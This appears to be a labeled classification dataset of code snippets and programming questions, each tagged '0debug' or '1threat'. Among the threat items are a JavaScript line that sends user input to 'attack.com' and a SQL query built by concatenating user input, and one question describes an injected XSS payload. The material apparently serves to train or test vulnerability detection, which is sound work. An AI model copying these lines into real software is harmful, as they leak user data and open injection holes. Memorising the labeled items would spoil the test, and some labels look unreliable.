So Please Help me
I am New to Android and Java I am Learning my Own By Searching some materials on google | 0debug |
What is the Diffrence Between Calendar.DAY_OF_WEEK and Calendar.DAY_OF_MONTH even the output is same every time? : I'm Setting Time using Timestamp class with Current time i'm setting the time with the Calender class first by DAY_OF_WEEK and second with DAY_OF_MONTH there is getting same output every time then what is the diffrence between DAY_OF_MONTH and DAY_OF_WEEK
Timestamp followUpDateBegins = new Timestamp(System.currentTimeMillis());
Calendar cal = Calendar.getInstance();
cal.setTime(followUpDateBegins);
cal.add(Calendar.DAY_OF_WEEK, -30);
cal.set(Calendar.HOUR, 0);
cal.set(Calendar.MINUTE, 0);
cal.set(Calendar.SECOND, 0);
cal.set(Calendar.MILLISECOND, 0);
followUpDateBegins.setTime(cal.getTime().getTime());
System.out.println("followUpDateBegins "+followUpDateBegins);
OR
Timestamp followUpDateBeginsSecond = new Timestamp(System.currentTimeMillis());
cal.setTime(followUpDateBeginsSecond);
cal.add(Calendar.DAY_OF_MONTH, -30);
cal.set(Calendar.HOUR, 0);
cal.set(Calendar.MINUTE, 0);
cal.set(Calendar.SECOND, 0);
cal.set(Calendar.MILLISECOND, 0);
followUpDateBeginsSecond.setTime(cal.getTime().getTime());
System.out.println("followUpDateBegins"+followUpDateBeginsSecond);
| 0debug |
Fatal error: Class 'App\Http\Controllers\Redirect' not found : <p>when i run below command in my terminal it shows below code instead of routes</p>
<pre><code>php artisan route:list
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="1;url=http://localhost/login" />
<title>Redirecting to http://localhost/login</title>
</head>
<body>
Redirecting to <a href="http://localhost/login">http://localhost/login</a>.
</body>
</html>
</code></pre>
<blockquote>
<p>[Symfony\Component\Debug\Exception\FatalThrowableError] Fatal
error: Class 'App\Http\Controllers\Redirect' not found</p>
</blockquote>
| 0debug |
Intellij IDEA complains cannot resolve spring boot properties but they work fine : <p><a href="https://i.stack.imgur.com/5Rcxm.png" rel="noreferrer"><img src="https://i.stack.imgur.com/5Rcxm.png" alt="enter image description here"></a></p>
<blockquote>
<p>Can not resolve configuration property '...</p>
</blockquote>
<p>I have no problem accessing my properties through the @Value annotation or through an autowired Evironment. But all of my own defined properties get this warning in IDEA. What should I be doing to get IDEA to recognize these and not bother me?</p>
| 0debug |
Shortcuts or autofill for contact info in UITextFields : <p>When I'm in Safari in iOS, and I hit a form that requires I enter name and address, I get shortcuts in the keyboard area. For example, here is the keyboard when the focus is in a first name field. I can tap "Robert" instead of typing a name.</p>
<p><a href="https://i.stack.imgur.com/0F1iN.png" rel="noreferrer"><img src="https://i.stack.imgur.com/0F1iN.png" alt="enter image description here"></a></p>
<p>A similar thing happens for fields for last name, phone, email, zip code.</p>
<p>Can I get a similar thing in a native iOS app, in a <code>UITextField</code>? Is there a way to mark a field so that the keyboard will offer these shortcut suggestions?</p>
| 0debug |
static void test_enabled(void)
{
int i;
throttle_config_init(&cfg);
g_assert(!throttle_enabled(&cfg));
for (i = 0; i < BUCKETS_COUNT; i++) {
throttle_config_init(&cfg);
set_cfg_value(false, i, 150);
g_assert(throttle_enabled(&cfg));
}
for (i = 0; i < BUCKETS_COUNT; i++) {
throttle_config_init(&cfg);
set_cfg_value(false, i, -150);
g_assert(!throttle_enabled(&cfg));
}
}
| 1threat |
I need to check Date Range entered by user is overlapping dates already present in datatable C# : I have a data table with column From Date and To Date.
User entered date using two date time picker dtFrom and dtTo.
I need to check if date entered by user is overlapping From Date and To Date column present in data table. e.g.
columns in data table
FromDate ToDate
01/07/2012 30/06/2013
01/07/2013 30/06/2014
01/07/2015 30/06/2016
Now if user enter
From Date ToDate
01/07/2012 30/06/2017
I wanted to check if these dates entered by user are overlapping with dates present in data table.
Please guide and suggest me a solution for c# desktop application | 0debug |
MongoDB constantly high cpu usage : <p>According to docker container statistics, my mongo database consumes constantly between 250 and 350% cpu. That's pretty impressive since it's a single core system :P</p>
<p>The sad part is that this is my production instance and much more sad is that it has to live until the next prod-backup and thats 3.5 more hours to go.</p>
<p>I tried to do a mongotop but it tells me 0ms stats for all shown collections. Can I do anything else to figure out what's going on?</p>
<p>PS: The db is up for 9 weeks and didn't cause problems.</p>
| 0debug |
Jquery setInterval function and cronjob : The goal is to runs a code inside an interval function `setInterval(function {// do something}, 50000)` when a cron-job runs each 15 minutes for triggering `test.php`
In my code, I have a `setInterval` function in which runs the code at an interval time `50 seconds`. However when I run my code on a localhost server manually (instead of running it by a cron-job) and close the browser window before interval time (`50 seconds`) at my file location `localhost/test.php` then the code inside interval function won't runs!. However if the browser window is open then the code inside interval runs. I am wondering if this is because of localhost server and if I trigger the code by setting up a `cron-job` on a live server then the code inside interval function will run despite the fact that there is no browser window on a live server to be open or close when the cron-job runs. Is that true or am I missing something? | 0debug |
window.location.href = 'http://attack.com?user=' + user_input; | 1threat |
Dagger @ContributesAndroidInjector ComponentProcessor was unable to process this interface : <p>I was testing new feature of dagger: Android module. And I am not able to compile the code when I use <code>@ContributesAndroidInjector</code>
I am always getting following error:</p>
<p>Error:(12, 8) error: dagger.internal.codegen.ComponentProcessor was unable to process this interface because not all of its dependencies could be resolved. Check for compilation errors or a circular dependency with generated code.</p>
<p>I tried to implement my components like <a href="https://github.com/ashdavies/eternity/tree/master/mobile/src/main/java/io/ashdavies/eternity/inject" rel="noreferrer">here</a>, but still I got the error.</p>
<p>Here is the smallest example:</p>
<pre><code>@PerApplication
@Component(modules = {AndroidInjectionModule.class, LoginBindingModule.class})
public interface ApplicationComponent {
void inject(ExampleApplication application);
}
@Module
public abstract class LoginBindingModule {
@ContributesAndroidInjector
abstract LoginActivity contributeYourActivityInjector();
}
public class LoginActivity extends Activity {
@Inject
LoginPresenter loginPresenter;
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
AndroidInjection.inject(this);
super.onCreate(savedInstanceState);
}
}
public class LoginPresenter {
@Inject
public LoginPresenter() {
}
}
</code></pre>
<p>If I remove LoginBindingModule from ApplicationComponent the app would be build, but would fail with runtime exception: </p>
<p>java.lang.IllegalArgumentException: No injector factory bound for Class</p>
<p>project setup:</p>
<pre><code>gradle 3.3
buildToolsVersion "25.0.2"
dagger 2.11
</code></pre>
| 0debug |
static int usb_net_initfn(USBDevice *dev)
{
USBNetState *s = DO_UPCAST(USBNetState, dev, dev);
s->dev.speed = USB_SPEED_FULL;
s->rndis = 1;
s->rndis_state = RNDIS_UNINITIALIZED;
QTAILQ_INIT(&s->rndis_resp);
s->medium = 0;
s->speed = 1000000;
s->media_state = 0; ;
s->filter = 0;
s->vendorid = 0x1234;
qemu_macaddr_default_if_unset(&s->conf.macaddr);
s->nic = qemu_new_nic(&net_usbnet_info, &s->conf,
s->dev.qdev.info->name, s->dev.qdev.id, s);
qemu_format_nic_info_str(&s->nic->nc, s->conf.macaddr.a);
snprintf(s->usbstring_mac, sizeof(s->usbstring_mac),
"%02x%02x%02x%02x%02x%02x",
0x40,
s->conf.macaddr.a[1],
s->conf.macaddr.a[2],
s->conf.macaddr.a[3],
s->conf.macaddr.a[4],
s->conf.macaddr.a[5]);
usb_desc_set_string(dev, STRING_ETHADDR, s->usbstring_mac);
add_boot_device_path(s->conf.bootindex, &dev->qdev, "/ethernet@0");
return 0;
}
| 1threat |
Difference between "public" and "void" : <p>I am learning java programming from <a href="http://courses.caveofprogramming.com/courses/java-for-complete-beginners/lectures/38443" rel="nofollow">http://courses.caveofprogramming.com/courses/java-for-complete-beginners/lectures/38443</a></p>
<p>This guy, till now have been using the <code>void</code> keyword before declaring any method but once he reached to the <em>passing parameters in methods</em> part, he starting using the <code>public</code> keyword instead of the void keyword. Why did he start using <code>public</code> instead of <code>void</code>?</p>
<p>I have a vague understanding of both the keyword but it would be better if you could explain these keywords to me too.</p>
| 0debug |
SetState of an array of Objects in React : <p>Ok, so I'm so frustrated finding the right solution so I'm posting the problem here. Giving an answer would help me a lot, coz I'm stuck!</p>
<p>the state tree looks like this </p>
<pre><code>this.state = {
itemList : [{
_id : 1234,
description : 'This the description',
amount : 100
}, {
_id : 1234,
description : 'This the description',
amount : 100
}],
}
</code></pre>
<p>The problems are : </p>
<ol>
<li>can not update any specific key in the Object of the array according
to the _id</li>
<li>The previous state should remain intact</li>
</ol>
| 0debug |
db.execute('SELECT * FROM employees WHERE id = ' + user_input) | 1threat |
how to transfer from checking account? : i'm Working on this program since yesterday but i do not know where i'm doing wrong the problem is When, i start the program and entering the amount to transfer from Checking Account to Saving Account, the program subtract the entered amount from the Chequing account, but does not add to the Saving account. How can i fix this please if you can help with i really appreciate your help ?
public partial class Transfer : Window
{
private string PIN;
Accounts AccountsList = new Accounts();
//constructor
public Transfer(string pin, Accounts myAcounts)
{
InitializeComponent();
AccountsList = myAcounts;
PIN = pin;
}
//save to file method
public void saveToFile()
{
using (StreamWriter sw = new StreamWriter("Acounts.txt"))
{
for (int i = 0; i < AccountsList.Count; i++)
{
var data = new List<string>
{
AccountsList[i].ACCOUNTYPE.ToString()
,AccountsList[i].PIN
,AccountsList[i].ACCOUNTNUMBER
,AccountsList[i].ACCOUNTBALANCE.ToString()
};
var account = String.Join(";", data);
sw.WriteLine(account);
}
}
}
private void btnOK_Click(object sender, RoutedEventArgs e)
{
try
{
string txtAmount = txtAmountInTransfer.Text;
double amount = 0;
bool AmountCorrect = double.TryParse(txtAmount, out amount);
Account chequingAccount = new Account();
Account savingAccount = new Account();
//deposit from CHEQUING ACCOUNT to SAVING ACCOUNT
{
//validate user entries
for (int i = 0; i < AccountsList.Count; i++)
{
//withdraw from CHEQUING ACCOUNG
if (AccountsList[i].ACCOUNTYPE == 'C' && AccountsList[i].PIN == PIN)
{
if (rbChequing_to_Saving.IsChecked == true)
{
chequingAccount = AccountsList[i];
}
else
{
savingAccount = AccountsList[i];
}
chequingAccount.ACCOUNTBALANCE -= amount;
AccountsList[i].ACCOUNTBALANCE += amount;
//saveToFile();
//break;
}
//if (AccountsList[i].ACCOUNTYPE == 'S')
// savingAccount.ACCOUNTBALANCE += amount;
//saveToFile();
}
}
}
catch (Exception error)
{
MessageBox.Show(error.Message);
}
}
}
}
| 0debug |
Angular test fails because Component is part of the declarations of 2 modules : <p>I am creating some tests in Angular 4. I have a component that is using PrettyJsonCompont in order to show well formatted json to the user. </p>
<p>When I run ng test several of my component tests fail with the same message. </p>
<blockquote>
<p>Failed: Type PrettyJsonComponent is part of the declarations of 2
modules: PrettyJsonModule and DynamicTestModule! Please consider
moving PrettyJsonComponent to a higher module that imports
PrettyJsonModule and DynamicTestModule. You can also create a new
NgModule that exports and includes PrettyJsonComponent then import
that NgModule in PrettyJsonModule and DynamicTestModule.</p>
</blockquote>
<p>Here is what my test looks like. </p>
<pre><code>import {async, ComponentFixture, TestBed} from '@angular/core/testing';
import {ContentItemModalComponent} from './content-item-modal.component';
import {DialogService} from 'ng2-bootstrap-modal';
import {ContentItemService} from '../services/content-item.service';
import {FormsModule, ReactiveFormsModule} from '@angular/forms';
import {FroalaEditorModule, FroalaViewModule} from 'angular-froala-wysiwyg';
import {HttpModule} from '@angular/http';
import {MainModel} from '../models/main-model';
import {PrettyJsonComponent, PrettyJsonModule} from 'angular2-prettyjson';
describe('ContentItemModalComponent', () => {
let component: ContentItemModalComponent;
let fixture: ComponentFixture<ContentItemModalComponent>;
beforeEach(async(() => {
TestBed.configureTestingModule({
imports: [
ReactiveFormsModule,
FormsModule,
FroalaEditorModule.forRoot(),
FroalaViewModule.forRoot(),
HttpModule,
PrettyJsonModule
],
declarations: [ContentItemModalComponent, PrettyJsonComponent],
providers: [
DialogService,
ContentItemService,
MainModel
],
})
.compileComponents();
}));
beforeEach(() => {
fixture = TestBed.createComponent(ContentItemModalComponent);
component = fixture.componentInstance;
fixture.detectChanges();
});
it('should be created', () => {
expect(component).toBeTruthy();
});
});
</code></pre>
| 0debug |
Javascipt Condition Statement Calling : I would like to seek for help on how to call the function CheckColour() where it perform checking on the "details" of the table. The if-else statement in CheckColour() will return the background colour of the element to "blue" when "details" is "M", else return pink (for the "F"). When I try to calling the function as shown in the code i shown, it doesnt't works.
**JavaScript Code:**
//table
var table = [
"Lyn", "22", "F", 1, 1,
"May", "32", "F", 18, 1,
"Sam", "27", "F", 1, 2,
"Sham", "23", "F", 2, 2,
"Hrs", "22", "M", 13, 2
];
// function calling starts here..
for ( var i = 0; i < table.length; i += 5 ) {
var element = document.createElement( 'div' );
element.className = 'element';
var number = document.createElement( 'div' );
number.className = 'number';
number.textContent = (i/5) + 1;
element.appendChild( number );
var symbol = document.createElement( 'div' );
symbol.className = 'symbol';
symbol.textContent = table[ i ];
element.appendChild( symbol );
var details = document.createElement( 'div' );
details.className = 'details';
details.innerHTML = table[ i + 1 ] + '<br>' + table[ i + 2 ];
element.appendChild( details );
element.CheckColour(details); /*help me check this */
/*CheckColour function, help me check this too if there is any error*/
function CheckColour()
{
var element, number, symbol, details;
if(details == "M")
element.style.backgroundColor = 'rgba(0,191,255,0)';
else
element.style.backgroundColor = 'rgba(255,105,180,0)';
}
var object = new THREE.CSS3DObject( element );
object.position.x = Math.random() * 4000 - 2000;
object.position.y = Math.random() * 4000 - 2000;
object.position.z = Math.random() * 4000 - 2000;
scene.add( object );
objects.push( object );
//
var object = new THREE.Object3D();
object.position.x = ( table[ i + 3 ] * 140 ) - 1330;
object.position.y = - ( table[ i + 4 ] * 180 ) + 990;
targets.table.push( object );
}
Actually, I did the coding by referring the example from the online source (<https://threejs.org/examples/#css3d_periodictable>), in case you need any guide, can refer the link. thanks.
| 0debug |
Codeception/AspectMock Parent class not found by locator : <p>I have a problem with <a href="https://github.com/Codeception/AspectMock" rel="noreferrer">Codeception/AspectMock</a>.
When using custom autoloader and try to create an instance of a class which has parent form the same custom namespace I have this error: </p>
<blockquote>
<p>PHP Fatal error: Uncaught InvalidArgumentException: Class [parent
class name] was not found by locator in
vendor/goaop/parser-reflection/src/ReflectionEngine.php:112</p>
</blockquote>
<p>I have very simple setup:</p>
<pre><code><?php
require_once __DIR__ . '/vendor/autoload.php';
$kernel = AspectMock\Kernel::getInstance();
$kernel->init([
'debug' => true,
'includePaths' => [__DIR__. '/lib'],
]);
$kernel->loadFile(__DIR__ . '/autoload.php'); // custom autoloader
$b = new \lib\B();
</code></pre>
<p>Class \lib\B:</p>
<pre><code>namespace lib;
class B extends A {}
</code></pre>
<p>Class \lib\A:</p>
<pre><code>namespace lib;
class A
{
public function getName()
{
return static::class;
}
}
</code></pre>
<p>Class B is loaded via my custom autoloader, but then the locator tries to load parent class A via composer autoloader and returns this error. Is this a bug, or I'm doing something wrong? </p>
| 0debug |
Random Sampling in R : <p>I have a data.frame that is 75 rows by 25 columns. I need to take 10, 20, 30, etc... random samples from the data in the data.frame. How can I take random samples from this data.frame. I do not want to get random rows, but specifically random samples from the data.frame.
The sample() function seems to only give me random rows, but I only need 10 random samples from the 1875 data points. How do I do this?</p>
| 0debug |
whats wrong in this coding? : <p>Whats wrong in this coding ? it is working in single cell but not in multiple cells</p>
<pre><code>Private Sub CommandButton1_Click()
Dim marks As Integer, result As String
marks = range("B2:B7")
If marks >= 33 Then
result = "pass"
Else
result = "fail"
End If
range("C2:C7").Value = result
End Sub
</code></pre>
| 0debug |
static int vdpau_vc1_start_frame(AVCodecContext *avctx,
const uint8_t *buffer, uint32_t size)
{
VC1Context * const v = avctx->priv_data;
MpegEncContext * const s = &v->s;
Picture *pic = s->current_picture_ptr;
struct vdpau_picture_context *pic_ctx = pic->hwaccel_picture_private;
VdpPictureInfoVC1 *info = &pic_ctx->info.vc1;
VdpVideoSurface ref;
info->forward_reference = VDP_INVALID_HANDLE;
info->backward_reference = VDP_INVALID_HANDLE;
switch (s->pict_type) {
case AV_PICTURE_TYPE_B:
ref = ff_vdpau_get_surface_id(&s->next_picture.f);
assert(ref != VDP_INVALID_HANDLE);
info->backward_reference = ref;
case AV_PICTURE_TYPE_P:
ref = ff_vdpau_get_surface_id(&s->last_picture.f);
assert(ref != VDP_INVALID_HANDLE);
info->forward_reference = ref;
}
info->slice_count = 0;
if (v->bi_type)
info->picture_type = 4;
else
info->picture_type = s->pict_type - 1 + s->pict_type / 3;
info->frame_coding_mode = v->fcm ? (v->fcm + 1) : 0;
info->postprocflag = v->postprocflag;
info->pulldown = v->broadcast;
info->interlace = v->interlace;
info->tfcntrflag = v->tfcntrflag;
info->finterpflag = v->finterpflag;
info->psf = v->psf;
info->dquant = v->dquant;
info->panscan_flag = v->panscanflag;
info->refdist_flag = v->refdist_flag;
info->quantizer = v->quantizer_mode;
info->extended_mv = v->extended_mv;
info->extended_dmv = v->extended_dmv;
info->overlap = v->overlap;
info->vstransform = v->vstransform;
info->loopfilter = v->s.loop_filter;
info->fastuvmc = v->fastuvmc;
info->range_mapy_flag = v->range_mapy_flag;
info->range_mapy = v->range_mapy;
info->range_mapuv_flag = v->range_mapuv_flag;
info->range_mapuv = v->range_mapuv;
info->multires = v->multires;
info->syncmarker = v->resync_marker;
info->rangered = v->rangered | (v->rangeredfrm << 1);
info->maxbframes = v->s.max_b_frames;
info->deblockEnable = v->postprocflag & 1;
info->pquant = v->pq;
return ff_vdpau_common_start_frame(pic_ctx, buffer, size);
}
| 1threat |
static int net_socket_listen_init(VLANState *vlan,
const char *model,
const char *name,
const char *host_str)
{
NetSocketListenState *s;
int fd, val, ret;
struct sockaddr_in saddr;
if (parse_host_port(&saddr, host_str) < 0)
return -1;
s = g_malloc0(sizeof(NetSocketListenState));
fd = qemu_socket(PF_INET, SOCK_STREAM, 0);
if (fd < 0) {
perror("socket");
g_free(s);
return -1;
}
socket_set_nonblock(fd);
val = 1;
setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (const char *)&val, sizeof(val));
ret = bind(fd, (struct sockaddr *)&saddr, sizeof(saddr));
if (ret < 0) {
perror("bind");
g_free(s);
return -1;
}
ret = listen(fd, 0);
if (ret < 0) {
perror("listen");
g_free(s);
return -1;
}
s->vlan = vlan;
s->model = g_strdup(model);
s->name = name ? g_strdup(name) : NULL;
s->fd = fd;
qemu_set_fd_handler(fd, net_socket_accept, NULL, s);
return 0;
} | 1threat |
How do I correctly use GGPLOT in R? : <p>I am trying to plot a CSV file in GGPLOT in R, but I'm still very new to R… </p>
<p>The goal is to plot a bar chart with countries on one axis (Column A(Country) and a comparison of 4 values (Columns b-e (col.b, col.c, col.d, col.e) </p>
<p>right now I have: </p>
<pre><code>library(ggplot2)
dataset <- read.csv("[path]/dataset.csv")
ggplot(data=dataset, aes (x=Country, y=col.b, col.c, col.d, col.e, fill=)) +
geom_col(stat="identity") +
scale_fill_manual("legend", values = c("black", "orange", "blue", "green" ))
</code></pre>
<p>I seem to have trouble to get it to actually colour the bars for me and also it also shows col.b as far as I can tell. How should it look instead? </p>
| 0debug |
static void error(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
fprintf(stderr, "qemu-img: ");
vfprintf(stderr, fmt, ap);
fprintf(stderr, "\n");
va_end(ap);
}
| 1threat |
javascript hacks using cross site scripting - where is the injection of code posted to : <p>I am new coder doing a web security tutorial that looks at javascript hacks using cross site scripting in a rails project.</p>
<p>In my project, I have injected a piece of malicious javascript into the user_first_name input field on our account_settings.html.erb which in turn generates a dialogue box to say that you have been hacked every time you refresh or visit a new page. (Please see screenshots)</p>
<p>Problem: the lecturer has finished without explaining how to clear this rogue code from our project and I can't get shot of the annoying dialogue box.</p>
<p>I can see the XSS code in the view page source but I am having difficult finding it in my project in the views nor can I source it using the command T function in sublime.</p>
<p>I am not seeking security advice, merely steering as to where this injection of XSS code can be found within my project or is posted to so that I may clear it. </p>
<p><a href="https://i.stack.imgur.com/07azI.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/07azI.png" alt="enter image description here"></a>
<a href="https://i.stack.imgur.com/r4A3j.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/r4A3j.jpg" alt="enter image description here"></a></p>
<blockquote>
<p>new.html.erb </p>
</blockquote>
<pre><code><div class="row-fluid">
<div class="span12">
<div class="row-fluid">
<div class="span4 offset4">
<div class="signup">
<%= form_for @user, :html => {:id => "account_edit", :class=> "signup-wrapper"} do |f| %>
<div class="header">
<h2>Sign Up</h2>
<p>Fill out the form below to login</p>
</div>
<div class="content">
<%= f.text_field :email, {:class => "input input-block-level", :placeholder => "Email"} %>
<%= f.text_field :first_name, {:class => "input input-block-level", :placeholder => "First Name"} %>
<%= f.text_field :last_name, {:class => "input input-block-level", :placeholder => "Last Name"} %>
<div class="control-group">
<%= f.password_field :password, {:class => "input input-block-level", :placeholder => "Password"}%>
</div>
<div class="control-group">
<%= f.password_field :password_confirmation, {:class => "input input-block-level", :placeholder => "Confirm Password"}%>
</div>
</div>
<div class="actions">
<%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-info btn-large pull-right"} %>
</div>
<div class="clearfix"></div>
<% end %>
</div>
</div>
</div>
</div>
</div>
</code></pre>
<blockquote>
<p>account_settings.html.erb </p>
</blockquote>
<pre><code><div class="dashboard-wrapper">
<div class="main-container">
<div class="row-fluid">
<div class="span12">
<div id="success" style="display: none;" class="alert alert-block alert-success fade in">
<h4 class="alert-heading">
Success!
</h4>
<p>
Information successfully updated.
</p>
</div>
</div>
</div>
<div class="row-fluid">
<div class="span12">
<div id="failure" style="display: none;" class="alert alert-block alert-error fade in">
<h4 class="alert-heading">
Error!
</h4>
<p>
Failed to update.
</p>
</div>
</div>
</div>
<div class="row-fluid">
<div class="span6">
<div class="widget">
<div class="widget-header">
<div class="title">
<span class="fs1" aria-hidden="true" data-icon="&#xe090;"></span> Profile Settings
<span class="mini-title">
Edit your account details
</span>
</div>
</div>
<div class="widget-body">
<%= form_for @user, :html => {:id => "account_edit"} do |f|%>
<%= f.hidden_field :user_id%>
<div class="control-group">
<%= f.label :email, nil, {:class => "control-label"}%>
<%= f.text_field :email, {:class => "span12"}%>
</div>
<div class="control-group">
<%= f.label :first_name, nil, {:class => "control-label"}%>
<%= f.text_field :first_name, {:class => "span12"} %>
</div>
<div>
<%= f.label :last_name, nil, {:class => "control-label"}%>
<%= f.text_field :last_name, {:class => "span12"} %>
</div>
<div class="control-group">
<%= f.label :password, nil, {:class => "control-label"}%>
<%= f.password_field :password, {:class => "span12", :placeholder => "Enter Password"}%>
</div>
<div class="control-group">
<%= f.label :password_confirmation, nil, {:class => "control-label"}%>
<%= f.password_field :password_confirmation, {:class => "span12", :placeholder => "Enter Password"} %>
</div>
<div class="form-actions no-margin">
<%= f.submit "Submit", {:id => 'submit_button', :class => "btn btn-info pull-right"} %>
</div>
<div class="clearfix">
</div>
<% end %>
</div>
</div>
</div>
</div>
<%= javascript_include_tag ('validation.js')%>
<script type="text/javascript">
$("#submit_button").click(function(event) {
var valuesToSubmit = $("#account_edit").serialize();
event.preventDefault();
$.ajax({
url: <%= "/users/#{current_user.user_id}.json".inspect.html_safe %>,
data: valuesToSubmit,
type: "POST",
success: function(response) {
if (response.msg == "failure") {
$('#failure').show(500).delay(1500).fadeOut();
} else {
$('#success').show(500).delay(1500).fadeOut();
}
},
error: function(event) {
$('#failure').show(500).delay(1500).fadeOut();
}
});
});
</script>
</code></pre>
<blockquote>
<p>_header.html.erb </p>
</blockquote>
<pre><code><header>
<span style="color:#eee;margin-left:10px;">
Font Size:
<a href="<%= home_dashboard_index_path %>?font=8pt" style="font-size:10pt;color:#eee;">A</a>
<a href="<%= home_dashboard_index_path %>?font=200%25" style="font-size:18pt;color:#eee;">A</a>
</span>
<div class="user-profile">
<a data-toggle="dropdown" class="dropdown-toggle">
<img src=" <%= image_path('profile_color.jpg')%>" alt="profile">
</a>
<span class="caret"></span>
<ul class="dropdown-menu pull-right">
<li>
<%= link_to "account settings", user_account_settings_path(:user_id => current_user.user_id) %>
</li>
<li>
<%= link_to "logout", logout_path %>
</li>
</ul>
</div>
<ul class="mini-nav">
<li style="color: #FFFFFF">
<!--
I'm going to use HTML safe because we had some weird stuff
going on with funny chars and jquery, plus it says safe so I'm guessing
nothing bad will happen
-->
Welcome, <%= current_user.first_name.html_safe %>
</li>
</ul>
</header>
</code></pre>
| 0debug |
Delete a dynamically-allocated class instance in C++? : <p>In C++, I have a class A, and a second class B which contains an allocated array of A. What is the correct syntax for deleting an instance of A from B?</p>
<pre><code>class A
{
~A() {/*delete members of A which were dynamically allocated*/}
//...members...
};
class B
{
A *arrayOfA; // allocated by arrayOfA=new A[123];
};
</code></pre>
<p>This is what I have tried, to delete the i-th instance of A:</p>
<pre><code>// Code to delete an instance of A from B:
// delete arrayofA[i]; // gives a compilation error, because delete requires a pointer
delete &arrayofA[i]; // compiles, but gives a runtime error
</code></pre>
<p>The destructor of A is being called, and seems to operate correctly. The error occurs in validation of the memory block for A (this is a debug build). Probably the error is caused by overwriting the heap allocation, but I would like to be sure the C++ syntax is correct for what I am trying to do.</p>
<p>64-bit Windows 7; Visual Studio 2017 v15.3.5</p>
| 0debug |
static void ecc_diag_mem_write(void *opaque, target_phys_addr_t addr,
uint64_t val, unsigned size)
{
ECCState *s = opaque;
trace_ecc_diag_mem_writeb(addr, val);
s->diag[addr & ECC_DIAG_MASK] = val;
}
| 1threat |
def prod_Square(n):
for i in range(2,(n) + 1):
if (i*i < (n+1)):
for j in range(2,n + 1):
if ((i*i*j*j) == n):
return True;
return False; | 0debug |
Error while inserting data in database in my web application : Error:
insert into student (firstName,email,password) value ('mayank','dave123@gmail.com','1234')
java.sql.SQLException: ORA-00926: missing VALUES keyword
Code:public boolean insertStudent(Student std) {
boolean flag = false;
try {
Connection con = null;
con = DatabaseConnection.DbConnection();
String firstName = std.getFirstName();
String email = std.getEmail();
String password = std.getPassword();
Statement stmt = con.createStatement();
String insertQuery = "insert into student (firstName,email,password) value ('" + firstName + "','" + email+ "','" + password + "')";
System.out.println(insertQuery);
int i = stmt.executeUpdate(insertQuery);
if (i != 0) {
flag = false;
} else {
flag = true;
}
} catch (Exception e) {
e.printStackTrace();
}
return flag;
} | 0debug |
swfit - why global static variable is not init? : ## Problem ##
* SomeTimes (maybe thread) ***kIndexMinID , kIndexMaxID*** value is **"0"**
## Code ##
```
// test.swift
let kIndexMinID :Int = 100
let kIndexMaxID :Int = 200
```
## Question ##
* why not init value? (when init?)
* how to global variable init ?
| 0debug |
How Can I Short Array Elements by Their Property : <p>I want to short array elements by their property. As a output I don't want to take string value. I just want int values.</p>
<pre><code>Example:
var array = [1,2,3,4,5,'chicken'];
Output:
1,2,3,4,5
</code></pre>
| 0debug |
static int load_dtb(hwaddr addr, const struct arm_boot_info *binfo,
hwaddr addr_limit)
{
void *fdt = NULL;
int size, rc;
uint32_t acells, scells;
if (binfo->dtb_filename) {
char *filename;
filename = qemu_find_file(QEMU_FILE_TYPE_BIOS, binfo->dtb_filename);
if (!filename) {
fprintf(stderr, "Couldn't open dtb file %s\n", binfo->dtb_filename);
goto fail;
}
fdt = load_device_tree(filename, &size);
if (!fdt) {
fprintf(stderr, "Couldn't open dtb file %s\n", filename);
g_free(filename);
goto fail;
}
g_free(filename);
} else if (binfo->get_dtb) {
fdt = binfo->get_dtb(binfo, &size);
if (!fdt) {
fprintf(stderr, "Board was unable to create a dtb blob\n");
goto fail;
}
}
if (addr_limit > addr && size > (addr_limit - addr)) {
g_free(fdt);
return 0;
}
acells = qemu_fdt_getprop_cell(fdt, "/", "#address-cells");
scells = qemu_fdt_getprop_cell(fdt, "/", "#size-cells");
if (acells == 0 || scells == 0) {
fprintf(stderr, "dtb file invalid (#address-cells or #size-cells 0)\n");
goto fail;
}
if (scells < 2 && binfo->ram_size >= (1ULL << 32)) {
fprintf(stderr, "qemu: dtb file not compatible with "
"RAM size > 4GB\n");
goto fail;
}
rc = qemu_fdt_setprop_sized_cells(fdt, "/memory", "reg",
acells, binfo->loader_start,
scells, binfo->ram_size);
if (rc < 0) {
fprintf(stderr, "couldn't set /memory/reg\n");
goto fail;
}
if (binfo->kernel_cmdline && *binfo->kernel_cmdline) {
rc = qemu_fdt_setprop_string(fdt, "/chosen", "bootargs",
binfo->kernel_cmdline);
if (rc < 0) {
fprintf(stderr, "couldn't set /chosen/bootargs\n");
goto fail;
}
}
if (binfo->initrd_size) {
rc = qemu_fdt_setprop_cell(fdt, "/chosen", "linux,initrd-start",
binfo->initrd_start);
if (rc < 0) {
fprintf(stderr, "couldn't set /chosen/linux,initrd-start\n");
goto fail;
}
rc = qemu_fdt_setprop_cell(fdt, "/chosen", "linux,initrd-end",
binfo->initrd_start + binfo->initrd_size);
if (rc < 0) {
fprintf(stderr, "couldn't set /chosen/linux,initrd-end\n");
goto fail;
}
}
if (binfo->modify_dtb) {
binfo->modify_dtb(binfo, fdt);
}
qemu_fdt_dumpdtb(fdt, size);
rom_add_blob_fixed("dtb", fdt, size, addr);
g_free(fdt);
return size;
fail:
g_free(fdt);
return -1;
}
| 1threat |
String manipulation - Javascript/JQuery : <p>can anyone help me with a project I am stuck on, iv'e tried to simplify what I'm trying to achieve as best I can.</p>
<p>I have an input that can be anything in this format <code>/_/_/_/_*</code></p>
<p>Using javascript/jquery I am trying to achieve something like the below. I don't know how best to approach it though</p>
<p>input = /user/app/folder/TOM*</p>
<p>output = <a href="https://myscript.com/user/assemblies/app/operations/environments/folder/" rel="nofollow noreferrer">https://myscript.com/user/assemblies/app/operations/environments/folder/</a></p>
| 0debug |
What is the difference between access and search in array? : <p>While studying data structure and algorithm, i come across these two term simultaneously, but i am unable to differentiate between access and search. For example time complexity of array include access time of O(1) while search O(n).</p>
| 0debug |
ansible - when statements should not include jinja2 templating delimiters : <p>I'm hoping someone could help. I was wondering what is the correct syntax in using the <code>when</code> statement? I have this playbook:</p>
<pre><code>- set_fact:
sh_vlan_id: "{{ output.response|map(attribute='vlan_id')|list|join(',') }}"
- name: create vlans
ios_config:
provider: "{{ provider }}"
